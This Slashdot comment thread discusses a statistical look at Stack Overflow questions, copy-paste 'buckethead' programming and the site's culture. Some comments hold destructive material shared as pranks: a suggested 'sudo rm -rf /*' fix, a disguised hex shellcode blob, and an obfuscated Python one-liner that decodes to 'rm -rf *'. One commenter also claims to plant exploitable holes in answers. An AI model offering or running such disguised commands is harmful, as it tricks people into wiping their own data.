Stack Overflow and the Zeitgeist of Computer Programming (priceonomics.com)
An anonymous reader writes: Stack Overflow remains one of the most widely-used resources in the developer community. Around 400,000 questions are posted there every month. The Priceonomics blog is using statistical analysis to ask, "What does the nature of these questions tell us about the state of programming?" They see tremendous growth in questions about Android Studio, as well as more generic growth in work relating to data analysis and cloud services. Topics on a significant decline include Silverlight, Joomla, Clojure, and Flash (not to mention emacs, for some reason). The article also takes a brief look at the site's megausers, who receive a lot of credit for keeping the signal-to-noise ratio as high as it is, while also taking flack for how the Stack Overflow culture has progressed. "Others are worried about how Stack Overflow has impacted programming fundamentals. Some critics believe that rather than truly struggling with a problem, developers can now just ask Stack Overflow users to solve it for them. The questioner may receive and use an answer with code they do not truly understand; they just know it fixes their problem. This can lead to issues in the long run when adjustments are needed."
"The questioner may receive and use an answer with code they do not truly understand; they just know it fixes their problem. This can lead to issues in the long run when adjustments are needed."
Can you tell me how to finish my homework assignment for Script Kiddie 101?
Well it did, did not it? It's pretty of you to not mark the answer as 'accepted answer'
CLI paste? paste.pr0.tips!
how is this any different from people self-diagnosing their problems using WebMD?
Remember kids, if you're not paying for the service, YOU ARE THE PRODUCT THAT IS BEING SOLD.
For me, I use stack overflow for library related issues, not language related. Dealing with bullshit subtleties of things like jQuery, instead of fucking around for hours trying to figure out why a particular function has a weird ass edge case, someone else has already figured it out and documented it. It just so happens that said documentation is the comments within StackOverflow.
The best-rated answers aren't always the most effective or maintainable, but they do tend to be the ones that look neatest at first sight, and almost invariably are written by someone already with a high score.
When I was a junior developer, I used to think that this this sort of thing demonstrated the hypothesis about most programmers being mediocre with a few stars. Now I learn that's it's just a small subset of people have a lot of time to spend answering cookie-cutter questions and know how to express confidence in their solution, and you get the Wikipedia effect where one bad answer has been given and suddenly everyone else is repeating it as gospel - not realising that it's because they all got the bad answer from Wikipedia/Stackoverflow/whatever peer-to-peer collaboration site is relevant to the field.
Often I'll post code as a solution to their problem that contain subtle and unique security holes that I can find and exploit later. I've yet to find one of these in any commercial software of any consequence, but I figure it's only a matter of time.
The complaints remind me of the old usenet groups, especially C and perl programming. A few people appointed themselves to be the arbiters of what could be posted, and flamed anyone who didn't meet their personal standards.
On the other hand, take away that moderation and the site quickly degenerates into what /. has become. Given the choice, I'll take StackOverflow the way it is.
I was having a simple Linux problem, and they told me "sudo rm -rf /*" would fix everything.
OP is lying.
The SO group think would have said that a Linux (and not programming question) was off topic and belonged on one of the other associated sites.
I am Slashdot. Are you Slashdot as well?
"I have Requirement to build java website. Provide info on how to write the Java. Please do the needful."
And that sort of useless fuckwad-whose-mother-should-have-swallowed response is exactly why Linux will remain a niche product and never be adopted by the majority of users.
My debugging tool is to paste the offending code in the Google search bar, hit return and see if anyone else has had the same error. And usually someone has. And Stack Overflow is usually near the top of the search results, though the quality of the answers in the search results vary.
"You'll get nothing, and you'll like it!"
I recommend that everybody learn just enough about vi to be able to use it (or its available equivalent, e.g. vim) on a system that lacks any other text editing capabilities (barring sed, because nobody should ever have to use sed manually).
And then don't use it for day-to-day tasks. Use something sensible for daily work. Nano and pico are ok, if you're a CLI junkie. A basic GUI text editor will still probably be faster for most users. (Except Notepad on Windows. That thing is terrible.)
Duplicate questions are discouraged on the site. This is problematic because the accepted answer will remain the apparent authority even while languages evolve or APIs change. I see it happen a lot with jQuery, for instance.
I used to want Linux to get adopted. Now I prefer that it remain pretty and nice from a code point of view, even at the cost of "adoption by the majority of users."
"First they came for the slanderers and i said nothing."
The process of copying and pasting an incompletely or not at all understood solution isn't in any way new. Back in the early 90s one of my colleagues coined the term I've used ever since for this and related programming anti-methods: buckethead programming. The metaphor is of programming with a bucket over your head so you can't see what you're doing but instead just stagger in random directions until you accidentally bump into something that appears to work... at which point you leave it and stagger your way through the next obstacle that arises.
I suppose you can argue that stackoverflow has made buckethead programming easier or more accessible, but people were grabbing random snippets of code from existing codebases, or from magazine articles, or blog articles, etc., long before it existed. If it weren't for stackoverflow concentrating such knowledge in one place, we'd be lamenting Google's role in enabling crappy programmers to find solutions they don't understand.
Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
Agreed. And while people might complain that it makes "buckethead programming" easier, the thing that's not stated is that it also makes it easier for good experienced programmers, which is a significantly better gain. After all, most of those "buckethead" newbies will eventually stop being such.
Some critics believe that rather than truly struggling with a problem, developers can now just ask Stack Overflow users to solve it for them.
Get a load of these guys. As if "struggling" should be applauded and praised. I understand that there's a certain skillset with generic problem solving. The first step is to consult the grand answer of questions, the google, and see if this is common knowledge. IF NOT, the second step should be to ask for specialized knowledge, which is where stack overflow (and more broadly, stack exchange) excels. Another great resource for that second step would be your co-workers, peers, or teacher. Because this is how you learn. After that, sure, it's a hard problem you actually need to develop something novel or drill down to the root problem.
Hey, there is certainly variance when it comes to how tenacious people are. And it'd be great if people followed up the solution and figured out that "why" portion. But that doesn't mean we should snub those asking questions. You can lead a horse to water, etc.
Do we REALLY want a billion people banging their head on a brick wall just trying to find out why their string needs to be null terminated? Can't we just tell them?
(Also, it's a communally generated users-manual for WAY too many projects out there. MSDN sucks)
Emacs questions may be lacking because it has a dedicated stackexchange site of its own.
"Others are worried about how Stack Overflow has impacted programming fundamentals. Some critics believe that rather than truly struggling with a problem, developers can now just ask Stack Overflow users to solve it for them"
It's pretty rare that someone will discover on their own a better solution then a more experienced developer. I have learned quite a lot looking at other's solutions to a problem... in particular where the tool is not the best for the job.
love is just extroverted narcissism
Buckethead programming was what we were told in college, "copy these few lines of code, get I2C to work! Bobs yer uncle!" No emphasis on understanding what a function does and its different uses. If you asked this lecturer something he would bluff his way around it, because he himself didn't know.
Can't we just tell them?
Lord no, if you know information, you have power. You cannot just give your hard earned power away to just any pleeb that has the gumption to ask. Also:
"Some critics believe that rather than truly struggling with a problem, developers can now just ask Stack Overflow users to solve it for them."
Couldn't this also be extended to books? I mean, how are you truly learning anything if you can just pick up a book and read about how to solve a problem? These 'critics' are just obstructionists who are afraid of sharing information and allowing more people to be effective coders. Yeah, sure, there will be some bad coders who don't understand what they are doing, but really, who cares? The site has and will be an excellent educational tool for a vast number of people.
Good coders don't have to rely on hoarding information to be good.
HA! I just wasted some of your bandwidth with a frivolous sig!
nano is a pile of shit. It doesn't even support searching with "/". I don't know much of vim, for example I use arrow keys instead of the letter based controls, but nano is too much lacking for my needs.
And the googleability.
Still beats expert sex change.
Systems work is impacted by this style of quick fix answers as well. There's ServerFault, as well as vendor support forums and other sources. I love and hate these sorts of resources. They're great because they get fixes and workarounds out there far faster than official vendor support channels can. What they're awful for is providing half-working or potentially dangerous answers that look fine but may not apply at all to the problem at hand.
You can say that the root cause of the problem is inexperienced sysadmin staff, and you would be right. However, the same problem exists on the developer side. On the admin side, it's worse because there are honestly a lot of admin staff who can't automate, can't script and some have trouble with the command line. Therefore, when the requirement comes up to do so, these admins are at the mercy of sites like this. The worst of them copy and paste script code without knowing a thing about what it does.
The state of programming and IT doesn't need to be measured by StackOverflow or ServerFault data. It needs to be measured by the number of staff who lean on these resources too hard and lack the fundamental troubleshooting/reasoning skills to filter the content.
Now I prefer that it remain pretty and nice from a code point of view, even at the cost of "adoption by the majority of users."
Didn't that ship sail long ago? Ubuntu, Gnome, etc, etc, all chasing adoption at the expense of what made Linux special for years now.
Socialism: a lie told by totalitarians and believed by fools.
I've been using SE a lot recently. The languages I use a are a bit off the beaten path, and when I filter questions for those languages only, the degradation isn't visible. I can usually find the information I need, my questions get answered comprehensively and correctly, and answering other people's questions helps me hone my own skills. I wouldn't want to lose SE.
Linus has a lot of explaining to do about the sorry state of the Linux kernel
What's wrong with the Linux kernel?
"First they came for the slanderers and i said nothing."
Yeah, they shouldn't have chased that impossible dream. Instead focus on making the system good, and more and more users would come.
"First they came for the slanderers and i said nothing."
I remember when the goto source was dejanews....
love is just extroverted narcissism
No they wouldn't because they would ask "can it run x" and the answer would nearly always be no or run this application that has half the features and can't read the files you need it to read.
Yesterday there was a post titled "The History of SQL Injection, the Hack That Will Never Go Away ".
Someone raised a good point that the problem was more economics than technology.
Employers, with no clue about technology, "employing monkeys and paying them peanuts" to produce something that looks visually ok but hacked into existance underneath.
We, programers, work in an unregulated profession which keeps it dynamic, fast paced and forever evolving.
Regulation = stagnation
So, yes, there's a lot of crap code out there and it won't go away - live with it.
Without Stackoverflow years of man hours would be wasted struggling to figure out some problem that has already been solved by someone else.
Wasn't that the idea behind the free software movement, not having to re-invent the wheel each time?
What about re-debugging, re-attaching, the wheel each time?
If the strength of our profession is in the fluidity, speed of adaptation and evolution then something like Stackoverflow is essential.
If you really need the accreditation of a regulated profession then ask an interviewee for their Stackoverflow account to see what questions they've ask and answered.
Stackoverflow is the best thing that's happened to our profession that I can remember in my 25 years as a programer.
It will still be better than the opposite, where you don't make the system good.
"First they came for the slanderers and i said nothing."
I remember when the goto source was dejanews....
Youngster :-)
Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
buckethead programming. The metaphor is of programming with a bucket over your head so you can't see what you're doing but instead just stagger in random directions until you accidentally bump into something that appears to work... at which point you leave it and stagger your way through the next obstacle that arises.
I love this term and definition... thanks! :)
Also while it is horrible, buckethead programming is sometimes a valid strategy... Need to write some static HTML UI for an internal API and you want to make it look pretty: buckethead programming the HTML, CSS and even some of the JS is a fast cheap and valid approach...
If it's just a quick internal thing, there no reason to spend 2 days learning angular, react.js or some other framework. Just buckethead program that thing and stick your head in the sand.
I agree though that buckethead programming is crazy if you're developing a serious high quality product that needs to be maintained. But many things doesn't have so high standards.
That was like computer algorithms class. The official recommended textbooks were the classics on algorithms; Sorting, Queuing, Multithreading with problems like the dining philosophers, going all the way up to how to do a discrete FFT transform. These were all recommended as *the* algorithms to use that "just worked", and it wasn't worth trying to design something faster.
Vintage computer adverts: http://www.vintageadbrowser.com/computers-and-software-ads
The guy posting 'rm -rf /' has probably a reputation of 1, and his answer would have been downvoted 5 times and probably deleted by a mod within minutes.
Slashdot, fix the reply notifications... You won't get away with it...
I've been posting/moderating slashdot for years, but just started with stack overflow. Here's my experience.
I definitely agree with and have seen what the articles are driving at. In particular, the "The Decline of Stack Overflow" is absolutely 100% on the money.
I answer questions. At least five / day. In a short time [about a month], I amassed 1000+ rep points. I'm now in the top 0.5% for the quarter. The article's comment about "SO hates new users" is true. Before I got to this point, I used to have more difficulty with certain people. As my point total got higher, the snark level went down. Ironic, because I was doing [trying to do] the best job I could at all times. My answers didn't change in terms of quality, just the tone of comments I got back.
When I post an answer, I take several approaches. Sometimes, a simple "use this function instead" is enough. Sometimes, "change this line from blah1 to blah2". If the OP has made an honest effort to be clear, but the posted code is way off the mark (e.g. has more than two bugs), I'll download it clean it up for style [so I can see OP's logic before I try to fix it], fix the bugs [usually simplifying the logic] and post the complete solution with an explanation of the changes and annotations in code comments.
This is the "cut-n-paste" solution. I may be just doing somebody's homework for them. But, usually, it's just somebody who spent days on the code and is "just stuck" [I've asked some OPs about this]. The controversy is that "if you do that, they'll never learn anything". Possibly. But, it's part of my judgement call on type of response to give. IMO, in addition to research and traditional classes/exercises, one of the best ways to learn is to read more advanced "expert" code. Compare one's original to what the expert did and ask "Why did they do it that way?!". This may foster more research on their part and they will have an "AHA! moment"
Unlike slashdot, one can edit a post [either a question or an answer] and you can delete them. Comments can edited for five minutes and deleted anytime. Now this will seem goofy: If you comment back and forth with a given user over an answer one of you gave, either a collegial discussion or a flame war, eventually an automatic message comes up asking if you'd like to transfer your "discussion" to a chat page. Also, because comments are limited to 500 chars, I sometimes have to post a partial, incomplete answer because what I need to say needs better formatting/highlighting than a comment and wouldn't fit in a comment, even though it's more appropriate as a comment.
The goofy thing is that you start with 1 rep point. You can post a question or a full answer. But, you can't yet post a comment!?
On SO, people edit their questions and answers, based on feedback in the comments. The answer may be edited several times before questioner accepts it. Sometimes, for complex questions, it can take a day or two to come up with the right answer.
Despite all this, once and a while, I get a "heckler" who doesn't like an answer [even though it's correct]. It goes several rounds in the comments, usually the other person doesn't understand the problem space enough to realize the answer was correct [or more subtle than they realized]. So, it goes back and forth, and each time I explain how I was correct, adding clarification or highlighting what I said originally. Eventually, the heckler says "Your answer doesn't answer the question". This is for an answer the OP questioner has "accepted" as the best one.
I've seen reasonable questions downvoted within minutes [I upvote them back]. I've seen people threaten to close the question as unclear, requires opinion, or can _not_ be answered as described. The last one is funny, because the question is clear to me, and I provide a correct answer [that eventually gets upvoted and/or accepted]. Sometimes I send the commenter who is threatening doom a message [you can direct a comment to
Like a good neighbor, fsck is there
There is much truth in what you say. All hail XKCD.
"You'll get nothing, and you'll like it!"
Unless the admins are answering the questions, your statement makes no sense.
Most questions are rather poor, have too little information provided, or require familiarity with the specific library the questioner is asking about. Not all questions are answerable with the information provided, and many times the questioner will ignore any request for clarification.
As it should have. You need sudo for that.
"So long and thanks for all the fish."
What does that do? Let me s
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
Or petty.
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
Without sudo at least all your files will be removed... that's pretty bad.
Slashdot, fix the reply notifications... You won't get away with it...
I also believe that most major distros won't really let you do that now, at least not without a warning. Without sudo the OS should still be usable though difficult. They'd probably be best off creating a new user profile and going from there. I do wonder if anyone has ever been stupid enough to actually run that command unintentionally? I'm pretty sure some have tried it intentionally but I don't know of anyone who's done so because they read about it on a forum and decided to try it out as a cure for their problem.
Then again, someone probably has. :/ I've heard rumors of folks who legitimately felt that deleting system32 would fix their problem. That's not really possible with SFP in place. (You can't delete notepad.exe or calc.exe either. Well, you can delete them but they grow back pretty much immediately - I'm not sure if they're actually deleted or not or if they just appear to be deleted.)
"So long and thanks for all the fish."
chattr to the rescue ;-)
Slashdot, fix the reply notifications... You won't get away with it...
You know... I know of the commend but I've never once made use of it and I'm not really sure what I'd do with it? I use chmod +x (for example) frequently enough and I chmod stuff on the server(s) often enough but I've never needed greater refinement than that. Honestly, I've got the man pages in some HTML files that I downloaded (still gotta figure out how to get them to PDF format) but I've not really had any reason to read more deeply into them.
I guess we could set up some sort of chattter {args} /* && rm -rf /* command... Maybe we can munge it in "obfuscated" Perl and get 'em to run it that way? I did, at one point, bump into a command that was basically the same thing only written in beautiful Perl. Lemme see if I can find it.
Hmm... Nope. I can't spot it in the five minute search I gave it. I did find this in hex:
char esp[] __attribute__ ((section(".text"))) /* e.s.p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p
I am (sadly) more amused than I should be.
"So long and thanks for all the fish."
Heh... And this:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
"So long and thanks for all the fish."
Let's face it - truly top-tier programmers would not dream of asking questions on 'Stack Overflow'. I, and many other people, would be reluctant to hire anyone who has a history of asking questions there.